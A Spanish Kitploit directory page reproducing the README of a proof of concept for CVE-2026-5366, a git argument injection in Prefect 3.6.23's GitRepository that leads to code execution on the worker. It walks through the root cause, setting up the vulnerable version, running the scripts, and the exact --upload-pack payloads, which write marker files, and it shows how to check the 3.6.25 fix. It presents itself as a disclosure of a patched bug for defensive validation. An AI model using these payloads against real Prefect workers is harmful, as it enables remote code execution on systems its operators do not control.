Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
prefect-cve-2026-5366 — PoC para CVE-2026-5366: inyección de argumentos de git en GitRepository de Prefect que conduce a RCE en el worker. | Kitploit
Herramientas/GitHubGitHub/renat0z3r0/prefect-cve-2026-5366
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónPruebas de PenetraciónSeguridad de Cadena de SuministroAprendizaje y Educación
GitHubrenat0z3r0/prefect-cve-2026-5366

prefect-cve-2026-5366

PoC para CVE-2026-5366: inyección de argumentos de git en GitRepository de Prefect que conduce a RCE en el worker.

Ver Repositorio
2hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC: CVE-2026-5366 - Inyección de argumentos de Git en Prefect (GitRepository)

  • Vulnerabilidad: inyección de argumentos de git que conduce a RCE a través de commit_sha (además de inyección de argumentos a través de directories)
  • Versión: vulnerable en 3.6.23, corregida en 3.6.25+
  • Archivo: src/prefect/runner/storage.py
  • Huntr: https://huntr.com/bounties/e2e88a0f-a8f6-49c9-94c5-e98dc385f07a
  • CVE: CVE-2026-5366

Descargo de responsabilidad

Esta es una prueba de concepto para una vulnerabilidad ya divulgada y parcheada (corregida en Prefect 3.6.25), publicada con fines educativos y de validación defensiva. Ejecútalo solo contra software y sistemas que poseas o que estés autorizado a probar. Si ejecutas Prefect, actualiza a 3.6.25 o posterior.

Estructura del repositorio

ArchivoPropósito
poc.pyEjecuta ambos vectores de inyección contra una instalación vulnerable e informa cuál produce ejecución de código
run_offline.shEjecutor sin red: construye un repositorio local file:// y dirige poc.py contra él (la forma fiable de ver dispararse el RCE)

Causa raíz (3.6.23, líneas exactas)

En src/prefect/runner/storage.py:

root@kitploit:~
# Line 174
if branch and commit_sha:
    raise ValueError(...)

# Line 181
self._commit_sha = commit_sha          # no validation whatsoever
...
self._directories = directories

Puntos de inyección (números de línea de 3.6.23):

  • commit_sha:

    • pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]
    • pull_code() ~391: ["git", "checkout", self._commit_sha]
    • _clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]
    • _clone_repo() ~480: ["git", "checkout", self._commit_sha]
  • directories:

    • pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]
    • _clone_repo() ~489: ["git", "sparse-checkout", "set", *self._directories] (sin separador --)

En la ruta de commit_sha, --upload-pack=<program> es interpretado por git fetch/git checkout como el programa de paquetes a ejecutar para la conexión, por lo que el programa se ejecuta localmente en la máquina del worker. Esto está verificado de extremo a extremo (ver "Resultados verificados" más abajo).

La ruta directories es una inyección de argumentos genuina pero no es un vector de RCE a través de --upload-pack: git sparse-checkout set es un comando local sin opción --upload-pack, por lo que el payload es rechazado como una bandera desconocida. Esta asimetría se refleja en el parche oficial: commit_sha se rechaza de forma estricta, mientras que una entrada de directories que empiece con -- solo genera una advertencia.

Cómo funciona el exploit

El núcleo es un truco de inyección de argumentos de git en el vector commit_sha.

  1. Sin validación. En 3.6.23 el valor de commit_sha se almacena tal cual (storage.py:181), sin más comprobaciones que la exclusión mutua entre branch/commit_sha. Cualquier cadena es aceptada.

  2. Aterriza en una posición de argumento de git. Cuando Prefect obtiene el código (pull_code() y luego _clone_repo()), el valor se coloca en una lista de argumentos de git:

root@kitploit:~
["git", "fetch", "origin", self._commit_sha]   # storage.py:475
["git", "checkout", self._commit_sha]          # storage.py:480

Esto es una lista de argumentos (sin shell), por lo que no hay inyección de shell. El fallo es que no hay un separador -- antes del valor controlado por el atacante.

  1. --upload-pack se analiza como una opción, no como un argumento. git trata cualquier cosa que empiece con - como una opción a menos que un separador -- lo preceda. El payload:
root@kitploit:~
--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'

convierte el comando en:

root@kitploit:~
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'

--upload-pack=<program> es una opción legítima de git fetch/clone/ ls-remote: nombra el programa que git ejecuta para servir los paquetes. Cuando el remoto es local (file://) o se accede a través de SSH/transporte local, git ejecuta ese programa en la máquina local.

  1. Resultado: RCE. git lanza /bin/sh -c '...' en lugar del helper real git-upload-pack, por lo que el comando del atacante se ejecuta en el worker de Prefect. git entonces falla (sh no habla el protocolo de git), pero el efecto secundario (ejecución de código) ya ha ocurrido, por eso el PoC ignora la excepción resultante y solo comprueba el archivo marcador.

Por qué importa la limpieza previa a la prueba. Si el destino ya tiene un .git, Prefect toma la ruta de "actualizar repositorio existente". Eliminarlo fuerza la ruta completa de _clone_repo(), que tiene las llamadas más directas fetch origin <value> + checkout <value>, los mejores sitios de inyección.

Por qué directories no da RCE. Ese valor aterriza en git sparse-checkout set <value>, un comando local sin opción --upload-pack, por lo que git rechaza el payload como una bandera desconocida. Sigue siendo una inyección de argumentos genuina, pero no un vector de RCE con este payload.

La corrección (3.6.25). commit_sha debe coincidir con ^[0-9a-fA-F]{4,64}$, por lo que un payload --upload-pack=... se rechaza con ValueError: Invalid commit SHA en el momento de la construcción. Para directories, la corrección añade el separador -- en el comando git (los valores ya no pueden leerse como opciones) más una advertencia.

Estrategia recomendada para el PoC

  1. Instala exactamente prefect==3.6.23
  2. Fuerza la limpieza del directorio de destino antes de cada prueba (esta es la parte más importante)
  3. Dispara mediante la llamada directa a GitRepository(..., commit_sha=..., directories=...).pull_code()
  4. Usa marcadores con marca de tiempo para poder ver qué vector funcionó
  5. En una versión parcheada (>= 3.6.25), confirma que el commit_sha malicioso se rechaza en la construcción de GitRepository(...)

Configuración (entorno vulnerable)

root@kitploit:~
python -m venv .venv-vuln
source .venv-vuln/bin/activate

pip install "prefect==3.6.23"

O desde el código fuente en el tag vulnerable exacto:

root@kitploit:~
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .

Ejecutar el PoC

La forma fiable y autocontenida (construye un repositorio local file:// y ejecuta ambos vectores):

root@kitploit:~
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh

También puedes ejecutar poc.py directamente:

root@kitploit:~
python poc.py                                              # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py  # local repo

Importante: git solo respeta --upload-pack en transportes local y ssh. Contra el remoto https predeterminado el payload es inerte, por lo que python poc.py no informa de ningún marcador incluso en la versión vulnerable 3.6.23. Usa run_offline.sh (o un POC_TARGET_REPO file:// / ssh) para ver cómo el RCE se dispara realmente.

El script realiza una limpieza agresiva (force_clean_destination) antes de cada vector, de modo que golpea de forma fiable la ruta de clonado (_clone_repo), que ejecuta:

root@kitploit:~
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>

Payloads precisos utilizados en este PoC (3.6.23)

commit_sha:

root@kitploit:~
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"

directories:

root@kitploit:~
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]

Estos golpean las posiciones de argumento crudas en fetch / checkout y sparse-checkout set.

Resultados verificados

Reproducido de extremo a extremo, completamente sin conexión (repositorio local desnudo file:// mediante run_offline.sh), en Python 3.12:

Versióncommit_shadirectories
3.6.23 (vulnerable)RCE logrado: archivo marcador escrito durante git fetch origin <payload>sin marcador: sparse-checkout set rechaza la bandera --upload-pack
3.6.25 (parcheado)neutralizado: ValueError: Invalid commit SHA ... en la construcción de GitRepository(...)sin marcador: separador -- + advertencia

Contenido observado del marcador en la ejecución vulnerable:

root@kitploit:~
EXPLOITED via commit_sha <date>

Limpieza

root@kitploit:~
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*

Verificar la corrección (en >= 3.6.25)

En una instalación parcheada, el objeto malicioso falla al construirse, antes de que se ejecute cualquier git:

root@kitploit:~
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
              commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...

Una entrada de directories que empiece con -- solo emite una advertencia (la protección real es el separador -- añadido al comando git).

Referencias

  • Tag vulnerable: 3.6.23
  • Commit del parche: 6a9d9918716ce4ee0297b69f3046f7067ef1faae
  • Padre anterior al parche: 21b2838054c7231cee8cbe196fdadc67ee6c1c6d

Úsalo de forma responsable (¡claro !!! :PpPPpp) y solo en sistemas que controles :-)

Descargar herramienta